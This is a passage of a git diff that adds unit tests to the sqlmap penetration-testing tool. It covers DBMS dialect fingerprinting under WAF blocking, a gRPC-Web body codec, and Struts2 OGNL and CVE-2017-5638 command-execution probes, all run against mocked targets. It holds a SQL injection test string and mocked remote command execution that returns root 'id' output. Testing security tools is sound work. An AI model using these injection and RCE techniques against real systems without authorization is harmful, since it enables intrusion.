i)) for i in range(5)) - result = _classify(sig) + # exhaustively sweep all 256 signatures: a non-None result is allowed ONLY for a known one + classifying = set(row[:_PROBE_COUNT] for row in _ALL.values()) + for bits in range(1 << _PROBE_COUNT): + sig = tuple(bool(bits & (1 << i)) for i in range(_PROBE_COUNT)) if sig not in classifying: - self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result)) + self.assertIsNone(_classify(sig), "unmeasured signature %r wrongly mapped to %r" % (sig, _classify(sig))) def test_all_true_noise_is_rejected(self): - # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive - # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and - # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL). - self.assertIsNone(_classify((True, True, True, True, True))) - - def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not - # distinctive - it must NOT be guessed as any DBMS - self.assertIsNone(_classify((False, False, False, False, False))) - self.assertIsNone(_classify((False, False, False, False, True))) - - def test_pgpow_alone_is_not_enough(self): - # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full - # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise - # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim). - self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL - self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature + # a channel reading EVERY probe true (static/reflected page or false-positive oracle) is + # physically impossible and must NOT be guessed + self.assertIsNone(_classify((True,) * _PROBE_COUNT)) class TestDialectCheckDbmsGuard(unittest.TestCase): - """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, - and None (no prior) whenever the channel is unreliable - the safety contract, including the - canary that turns a trashy false-positive channel into a true negative.""" - - def _run(self, truth): - # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, and + None whenever the channel is unreliable (including the canary that turns a trashy false-positive + channel into a true negative).""" + + def _run(self, probeBits, gate=(True, False, False), blocked=()): + # probeBits: {probe_name: bool}; gate: (2=2, 2=3, canary); blocked: chars a WAF drops + truth = {"2=2": gate[0], "2=3": gate[1], DIALECT_CANARY: gate[2]} + for name, expr in DIALECT_PROBES: + truth[expr] = bool(probeBits.get(name, False)) + # clean channel: all reachability canaries TRUE; a blocked char reads FALSE (combined + per-char) + truth[DIALECT_REACH_CANARY] = not blocked + for char, _ in _DIALECT_REACH_CHARS: + truth[_reachCanary(char)] = char not in blocked orig = dialect.checkBooleanExpression dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) saved = kb.get("injection") try: - return dialectCheckDbms(object()) # the injection arg is only stashed, never inspected here + return dialectCheckDbms(object()) finally: dialect.checkBooleanExpression = orig kb.injection = saved + @staticmethod + def _bits(engine): + return dict(zip((n for n, _ in DIALECT_PROBES), _sig(engine))) + def test_identifies_mysql_on_good_channel(self): - truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, - "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} - self.assertEqual(self._run(truth), DBMS.MYSQL) + self.assertEqual(self._run(self._bits("mysql")), DBMS.MYSQL) def test_identifies_postgres_on_good_channel(self): - truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, - "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True} - self.assertEqual(self._run(truth), DBMS.PGSQL) + self.assertEqual(self._run(self._bits("postgres")), DBMS.PGSQL) + + def test_identifies_oracle_on_good_channel(self): + self.assertEqual(self._run(self._bits("oracle")), DBMS.ORACLE) def test_none_on_blocked_channel(self): # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None - self.assertIsNone(self._run({})) + self.assertIsNone(self._run({}, gate=(False, False, False))) def test_none_on_static_channel(self): - # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None - self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True, - "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True})) + # a static page reads everything True -> the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, True, True))) def test_none_when_canary_reads_true(self): - # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even - # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the - # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS. - truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True, - "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL - self.assertIsNone(self._run(truth)) + # THE canary contract: a channel can look clean (2=2 true, 2=3 false) and yield a DBMS-shaped + # signature, but if the invalid canary also reads TRUE the channel accepts garbage -> None. + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, False, True))) + + +class TestDialectAdversarial(unittest.TestCase): + """WAF that selectively drops operator characters: a dropped probe reads FALSE, silently degrading + the signature. Reachability canaries mark those bits unknown and _classify() abstains unless the + trusted bits are unanimous - so char-blocking can never MISCLASSIFY (only answer correctly or None).""" + + def test_guard_never_misclassifies_under_single_char_block(self): + # for every droppable probe character, no known engine is ever read as a DIFFERENT DBMS + for char, bits in _DIALECT_REACH_CHARS: + for engine, row in _ALL.items(): + expected = row[_PROBE_COUNT] + got = _classify(row[:_PROBE_COUNT], unknown=set(bits)) + self.assertIn(got, (expected, None), "%s under blocked %r -> %s" % (engine, char, got)) + + def test_guard_recovers_when_trusted_bits_are_unique(self): + # MySQL stays uniquely pinned with 'mod' (%) blocked + self.assertEqual(_classify(_sig("mysql"), unknown={2}), DBMS.MYSQL) + + def test_guard_abstains_when_ambiguous(self): + # H2 vs Presto differ only in numcat; blocking '|' (kills numcat) makes them indistinguishable + self.assertIsNone(_classify(_sig("h2"), unknown={7})) + + +class TestDialectCheckDbmsReachability(TestDialectCheckDbmsGuard): + """dialectCheckDbms() end-to-end when a WAF drops a probe character.""" + + def test_blocked_char_abstains_instead_of_misclassifying(self): + # '|' dropped: H2 can no longer be told from Presto -> None (not a wrong guess) + self.assertIsNone(self._run(self._bits("h2"), blocked=("|",))) + + def test_blocked_char_still_identifies_when_unique(self): + # '%' dropped: MySQL stays uniquely identifiable + self.assertEqual(self._run(self._bits("mysql"), blocked=("%",)), DBMS.MYSQL) if __name__ == "__main__": diff --git a/tests/test_grpcweb.py b/tests/test_grpcweb.py new file mode 100644 index 00000000000..7c0534103f6 --- /dev/null +++ b/tests/test_grpcweb.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +gRPC-Web body support (lib/utils/grpcweb.py, grpc-web-text/unary). Covers the peer-review merge gate: +exact round-trip, injection with length recomputation, strict framing validation (truncation / length +mismatch / trailing bytes / compression / bad varint / field 0), repeated-field distinct injection +points, response decoding incl. trailers-only-via-headers and response-Content-Type gating, and the +side-effect-free probe that lets a declined prompt send the original body. +""" + +import base64 +import json +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.utils import grpcweb + +TEXT_CT = [("Content-Type", "application/grpc-web-text")] + + +def _grpcBody(fields): + return base64.b64encode(grpcweb._frame(grpcweb._encode(fields))).decode("ascii") + + +class TestCodec(unittest.TestCase): + def test_wire_roundtrip_exact(self): + inner = grpcweb._encode([[1, 2, b"deep"], [2, 0, 7]]) + msg = grpcweb._encode([[1, 2, b"alice"], [2, 0, 10], [3, 2, inner], [4, 5, b"\x01\x02\x03\x04"]]) + self.assertEqual(grpcweb._encode(grpcweb._decode(msg)), msg) + + def test_varint_boundaries(self): + for n in (0, 1, 127, 128, 300, 16384, 2 ** 31, 2 ** 63): + self.assertEqual(grpcweb._readVarint(grpcweb._writeVarint(n), 0)[0], n) + + def test_overlong_varint_rejected(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\x80" * 11, 0) + + def test_field_zero_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x02\x01a") # tag 0x02 -> field 0, wire 2 + + def test_truncated_field_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x0a\x05abc") # declares 5, has 3 + + def test_unframe_strict(self): + good = grpcweb._frame(b"\x08\x01") + self.assertEqual(grpcweb._unframe(good), b"\x08\x01") + self.assertRaises(ValueError, grpcweb._unframe, good[:4]) # truncated header + self.assertRaises(ValueError, grpcweb._unframe, good + b"\x00") # trailing bytes + self.assertRaises(ValueError, grpcweb._unframe, good[:-1]) # declared > available + self.assertRaises(ValueError, grpcweb._unframe, b"\x01" + good[1:]) # compressed flag + + +class TestTranscode(unittest.TestCase): + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_decode_is_side_effect_free(self): + # probe must NOT touch kb.grpcWeb (that is what lets a declined prompt restore the original) + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + self.assertEqual(json.loads(view), {"f1": "alice"}) + self.assertIsNotNone(skeleton) + self.assertIsNone(kb.grpcWeb) + + def test_exact_roundtrip_no_injection(self): + body = _grpcBody([[1, 2, b"alice"], [2, 0, 10]]) + view, skeleton = grpcweb.decodeBody(body) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody(view), body) # merge-gate #11: encodeBody(decodeBody(x)) == x + + def test_injection_reencodes_with_correct_length(self): + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + kb.grpcWeb = skeleton + wire = grpcweb.encodeBody(json.dumps({"f1": "alice' OR '1'='1"})) + fields = grpcweb._decode(grpcweb._unframe(base64.b64decode(wire))) + self.assertEqual(bytes(fields[0][2]).decode(), "alice' OR '1'='1") + self.assertEqual(fields[1][2], 10) # non-string field preserved + + def test_repeated_fields_distinct_points(self): + view, _ = grpcweb.decodeBody(_grpcBody([[3, 2, b"first"], [3, 2, b"second"]])) + self.assertEqual(json.loads(view), {"f3_0": "first", "f3_1": "second"}) + + def test_parseable_strings_are_offered(self): + # ordinary strings that ALSO happen to parse as protobuf wire data must NOT be silently dropped + # ("A12345678" -> fixed64 tag, "M1234" -> fixed32 tag); descriptorless can't tell, so offer them + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"A12345678"], [2, 2, b"M1234"]])) + self.assertEqual(json.loads(view), {"f1": "A12345678", "f2": "M1234"}) + + def test_non_grpc_and_binary_not_detected(self): + conf.httpHeaders = [("Content-Type", "application/json")] + self.assertEqual(grpcweb.decodeBody('{"a":"b"}'), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web+proto")] # binary: deliberately out of scope + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + + def test_encode_guards_bad_surrogate(self): + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody("[1,2,3]"), "[1,2,3]") # JSON scalar/array -> unchanged + self.assertEqual(grpcweb.encodeBody("not json"), "not json") + + +class TestResponse(unittest.TestCase): + def setUp(self): + self._g = kb.get("grpcWeb") + kb.grpcWeb = {"fields": [], "map": {}} # any truthy skeleton enables response decoding + + def tearDown(self): + kb.grpcWeb = self._g + + def _resp(self, frames, ct="application/grpc-web-text", extra=None): + page = base64.b64encode(b"".join(frames)).decode("ascii") if frames else "" + headers = {"Content-Type": ct} + if extra: + headers.update(extra) + return grpcweb.decodeResponse(page, headers) + + def test_message_and_trailer_rendered(self): + msg = grpcweb._frame(grpcweb._encode([[1, 0, 3], [2, 2, b"luther"]])) + trailer = b"\x80" + struct.pack(">I", len(b"grpc-status:0")) + b"grpc-status:0" + decoded = self._resp([msg, trailer]) + self.assertIn("3", decoded) + self.assertIn("luther", decoded) + self.assertIn("grpc-status:0", decoded) + + def test_backend_error_in_trailer(self): + tmsg = b"grpc-status:13\r\ngrpc-message:SQLite%20error%3A%20near%20syntax" + decoded = self._resp([b"\x80" + struct.pack(">I", len(tmsg)) + tmsg]) + self.assertIn("SQLite error: near syntax", decoded) # unquoted -> matchable by errors.xml + + def test_trailers_only_via_headers(self): + # empty body, status/message carried in response HEADERS (protocol-allowed trailers-only) + decoded = grpcweb.decodeResponse("", {"Content-Type": "application/grpc-web-text", + "grpc-status": "13", "grpc-message": "boom%20here"}) + self.assertIn("grpc-status:13", decoded) + self.assertIn("boom here", decoded) + + def test_response_content_type_gating(self): + # a non-grpc-web response (e.g. an HTML error page) must be left untouched + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_compressed_response_frame_falls_back(self): + page = base64.b64encode(b"\x01" + struct.pack(">I", 2) + b"\x08\x01").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text"}), page) + + +class TestReviewRound2(unittest.TestCase): + """The three second-round blockers + smaller hardening.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_unrelated_json_body_not_converted(self): + # blocker #1: an unrelated JSON body on the shared request path must pass through untouched + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody('{"foo":"bar"}'), '{"foo":"bar"}') # different keys + self.assertEqual(grpcweb.encodeBody('{"f1":"x","extra":"y"}'), '{"f1":"x","extra":"y"}') # superset + # but the genuine surrogate (exact keys) IS transformed + self.assertNotEqual(grpcweb.encodeBody('{"f1":"x"}'), '{"f1":"x"}') + + def test_streaming_response_rejected(self): + kb.grpcWeb = {"fields": [], "map": {}} + two = grpcweb._frame(grpcweb._encode([[1, 2, b"a"]])) + grpcweb._frame(grpcweb._encode([[1, 2, b"b"]])) + page = base64.b64encode(two).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) # falls back, no corruption + + def test_reserved_frame_flags_rejected(self): + # request: reserved flag byte -> not a valid gRPC-Web frame -> not detected + bad = b"\x02" + struct.pack(">I", 3) + grpcweb._encode([[1, 2, b"x"]]) + self.assertRaises(ValueError, grpcweb._unframe, bad) + # response: 0x82 (trailer + reserved bit) rejected -> fall back + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(b"\x82" + struct.pack(">I", 3) + b"a=0").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) + + def test_strict_base64(self): + self.assertRaises(ValueError, grpcweb._b64decode, "!!!!") # invalid chars + self.assertRaises(ValueError, grpcweb._b64decode, "AAA") # bad length + self.assertRaises(ValueError, grpcweb._b64decode, "AAAA=BCD") # stray mid-quantum pad + # independently-padded chunks ARE accepted (reconstruct the concatenation) - a unary text + # response may legitimately be flushed as separate padded base64 segments + a, b = b"hello", b"world!!" + chunks = base64.b64encode(a).decode("ascii") + base64.b64encode(b).decode("ascii") + self.assertEqual(grpcweb._b64decode(chunks), a + b) + + def test_strict_media_type(self): + conf.httpHeaders = [("Content-Type", "application/grpc-web-textual")] # not the real type + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web-text; charset=utf-8")] # params OK + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])) + self.assertIsNotNone(view) + + def test_header_status_preserved_on_body_failure(self): + kb.grpcWeb = {"fields": [], "map": {}} + raw = b"\x00" + struct.pack(">I", 5) + b"ab" # declares 5, has 2 -> body parse fails + page = base64.b64encode(raw).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1], "grpc-status": "13"}) + self.assertIn("grpc-status:13", decoded) # header status not lost + self.assertIn(page, decoded) # raw page still available to the oracle + + def test_varint_and_field_number_bounds(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\xff" * 9 + b"\x02", 0) # > 64 bits + # field number above the protobuf max (2**29 - 1) + big = grpcweb._writeVarint(((0x1fffffff + 1) << 3) | 2) + b"\x01a" + self.assertRaises(ValueError, grpcweb._decode, big) + + +class TestReviewRound3(unittest.TestCase): + """Media-type +proto acceptance, Accept negotiation helper, unsupported-CT body preservation.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_proto_media_type_accepted(self): + for ct in ("application/grpc-web-text+proto", "application/grpc-web-text+proto; charset=utf-8"): + conf.httpHeaders = [("Content-Type", ct)] + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + self.assertEqual(json.loads(view), {"f1": "alice"}, "CT %r not accepted" % ct) + + def test_accepts_text_content_type_helper(self): + self.assertFalse(grpcweb.acceptsTextContentType("*/*")) + self.assertFalse(grpcweb.acceptsTextContentType("application/json")) + self.assertTrue(grpcweb.acceptsTextContentType("application/grpc-web-text")) + self.assertTrue(grpcweb.acceptsTextContentType("application/json, application/grpc-web-text+proto")) + + def test_unsupported_response_ct_preserves_body_and_status(self): + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": "text/html", "grpc-status": "2"}) + self.assertIn("grpc-status:2", decoded) # header status kept + self.assertIn(page, decoded) # body not dropped + # and with no status, an unsupported-CT body is returned unchanged + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_proto_response_ct_decoded(self): + kb.grpcWeb = {"fields": [], "map": {}} + msg = grpcweb._frame(grpcweb._encode([[2, 2, b"luther"]])) + page = base64.b64encode(msg).decode("ascii") + self.assertIn("luther", grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text+proto"})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 2a05ddd3c62..5ba345468ed 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -87,6 +87,20 @@ def mock(place, parameter, value): ssti._send = mock self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + def test_struts2_ognl_arithmetic_control_pair(self): + # Struts2 evaluates '%{expr}' (OGNL) and reflects it in the redisplayed field value + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Struts2 (OGNL)"][0] + + def mock(place, parameter, value): + import re + m = re.search(r"%\{(\d+)\*(\d+)\}", value) + if m: + return 'name="username" value="%d"' % (int(m.group(1)) * int(m.group(2))) + return 'name="username" value="%s"' % value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + def test_arithmetic_requires_both_results_correct(self): engine = ssti._ENGINE_TABLE[0] @@ -613,3 +627,42 @@ def mock(place, parameter, value): ssti._executeCommand("GET", "q", engine, "id") self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), msg="two-step file-based RCE did not surface command output: %r" % self.captured) + + +class TestStruts2Header(unittest.TestCase): + """CVE-2017-5638 (S2-045): OGNL via the Content-Type header. The vector is not reflected, so + detection prints a marker to the response and RCE brackets stdout with markers to slice it out.""" + + def setUp(self): + self._s2045Send = ssti._s2045Send + + def tearDown(self): + ssti._s2045Send = self._s2045Send + + def test_struts2_wired_for_file_rce(self): + self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired + + def test_s2045_detection_marker_echo(self): + import re + # a vulnerable Struts2 evaluates the OGNL and writes the printed marker into the response + def mock(url, action): + m = re.search(r"#w\.print\('([a-z0-9]+)'\)", action) + return " %s " % m.group(1) if m else "" + ssti._s2045Send = mock + self.assertIsNotNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_not_vulnerable(self): + ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_command_output_sliced_from_markers(self): + # the shell echoes start/end markers around stdout; the response also carries the action HTML + def mock(url, action): + m = re.search(r"echo ([a-z0-9]+); .* 2>&1; echo ([a-z0-9]+)", action) + if not m: + return "" + start, end = m.group(1), m.group(2) + return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) + import re + ssti._s2045Send = mock + self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)")